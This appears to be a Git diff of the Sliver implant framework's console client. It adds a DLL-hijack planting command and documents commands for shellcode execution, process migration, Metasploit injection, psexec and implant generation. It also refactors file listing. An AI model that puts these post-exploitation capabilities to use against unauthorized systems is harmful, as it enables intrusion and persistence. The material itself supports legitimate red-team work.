HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(reactionCmd)
// [ DLL Hijack ] -----------------------------------------------------------------
dllhijackCmd := &grumble.Command{
Name: consts.DLLHijackStr,
Help: "Plant a DLL for a hijack scenario",
LongHelp: help.GetHelpFor([]string{consts.DLLHijackStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
dllhijack.DllHijackCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("target-path", "Path to upload the DLL to on the remote system")
},
Flags: func(f *grumble.Flags) {
f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
f.String("p", "profile", "", "Profile name to use as a base DLL")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(dllhijackCmd)
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
privilege.GetPrivsCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(getprivsCmd)
}
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+2 -1
View File
@@ -30,8 +30,9 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
+1
View File
@@ -35,6 +35,7 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2 -1
View File
@@ -24,6 +24,7 @@ import (
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
@@ -31,7 +32,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSliverConfig()
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -34,6 +34,7 @@ import (
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+6 -1
View File
@@ -21,12 +21,15 @@ import (
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
@@ -37,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := ctx.Flags.String("args")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
@@ -53,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
+20 -22
View File
@@ -121,6 +121,7 @@ func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, e
return
}
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
@@ -156,17 +157,10 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extArgs := func(a *grumble.Args) {}
if extCmd.AllowArgs {
extArgs = func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
}
ctx.App.AddCommand(&grumble.Command{
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Args: extArgs,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
@@ -184,8 +178,12 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.ExtensionHelpGroup,
})
}
con.App.AddCommand(extensionCmd)
}
con.PrintInfof("%s extension has been loaded\n", ext.Name)
}
@@ -213,14 +211,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
var args string
if len(c.DefaultArgs) != 0 {
args = c.DefaultArgs
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
if len(ctx.Args.StringList("arguments")) > 0 {
args = strings.Join(ctx.Args.StringList("arguments"), " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
@@ -250,13 +247,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: args,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -276,11 +273,11 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(args, " "),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
@@ -301,15 +298,16 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: args,
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
+7 -1
View File
@@ -20,6 +20,7 @@ package filesystem
import (
"context"
"encoding/hex"
"fmt"
"os"
@@ -33,6 +34,7 @@ import (
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -65,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
} else {
con.Println(string(download.Data))
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2 -1
View File
@@ -25,14 +25,15 @@ import (
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+126 -10
View File
@@ -19,11 +19,14 @@ package filesystem
*/
import (
"bytes"
"context"
"fmt"
"io"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -32,6 +35,7 @@ import (
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -39,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
@@ -47,21 +90,94 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(con.App.Stdout(), ls)
PrintLs(ls, con, ctx.Flags, filter)
}
}
func PrintLs(stdout io.Writer, ls *sliverpb.Ls) {
fmt.Fprintf(stdout, "%s\n", ls.Path)
fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(ls.Path)))
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// CanariesCmd - Display canaries from the database and their status
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
@@ -16,6 +16,7 @@ import (
"github.com/desertbit/grumble"
)
// GenerateStagerCmd - Generate a stager using Metasploit
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
+94 -14
View File
@@ -30,6 +30,7 @@ import (
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
@@ -42,20 +43,35 @@ import (
)
const (
DefaultMTLSLPort = 8888
DefaultWGLPort = 53
DefaultWGNPort = 8888
DefaultWGKeyExPort = 1337
DefaultHTTPLPort = 80
DefaultHTTPSLPort = 443
DefaultDNSLPort = 53
// DefaultMTLSLPort is the default port for mtls
DefaultMTLSLPort = 8888
// DefaultWGPort is the default port for wg
DefaultWGLPort = 53
// DefaultWGNPort is the default n port for wg
DefaultWGNPort = 8888
// DefaultWGKeyExPort is the default port for wg key exchange
DefaultWGKeyExPort = 1337
// DefaultHTTPLPort is the default port for http
DefaultHTTPLPort = 80
// DefaultHTTPSLPort is the default port for https
DefaultHTTPSLPort = 443
// DefaultDNSLPortis the default port for dns
DefaultDNSLPort = 53
// DefaultTCPPivotPort is the default port for tcp pivots
DefaultTCPPivotPort = 9898
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
DefaultPoll = 1
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
const (
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
@@ -93,6 +109,7 @@ var (
// }
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
@@ -251,14 +268,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
arch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, arch = getTargets(targetOS, arch, con)
if targetOS == "" || arch == "" {
targetArch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
}
@@ -275,7 +296,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: arch,
GOARCH: targetArch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
@@ -543,3 +564,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
}
return strings.Join(limits, "; ")
}
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
if format == clientpb.OutputFormat_EXECUTABLE {
return true // We don't need cross-compilers when targeting EXECUTABLE formats
}
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
return true
}
if runtime.GOOS != "windows" && targetOS == "windows" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "darwin" && targetOS == "darwin" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "linux" && targetOS == "linux" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
return true
}
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
for _, cc := range crossCompilers {
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
return true
}
}
return false
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
case "darwin":
con.PrintWarnf("The server cannot find an installation of osxcross")
case "linux":
con.PrintWarnf("The server cannot find an installation of musl-cross")
}
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
confirm := false
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("implant-name"),
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
@@ -28,6 +28,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("name")
if name == "" {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("profile-name"),
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesCmd - Display implant profiles
func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profiles := getImplantProfiles(con)
if profiles == nil {
+1
View File
@@ -28,6 +28,7 @@ import (
"github.com/desertbit/grumble"
)
// RegenerateCmd - Download an archived implant build/binary
func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save := ctx.Flags.String("save")
if save == "" {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// HelpCmd - Returns an instance of the 'help' command
func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
return func(a *grumble.App, shell bool) {
printHelp(con)
+127 -16
View File
@@ -24,12 +24,17 @@ package help
import (
"bytes"
"fmt"
"strings"
"text/template"
consts "github.com/bishopfox/sliver/client/constants"
)
const (
sep = "."
)
var (
// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
@@ -71,25 +76,31 @@ var (
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.GetEnvStr: getEnvHelp,
consts.SetEnvStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
// Loot
consts.LootStr: lootHelp,
// Profiles
consts.ProfilesStr + "." + consts.NewStr: newProfileHelp,
consts.ProfilesStr + "." + consts.GenerateStr: generateProfileHelp,
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
// Reactions
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
}
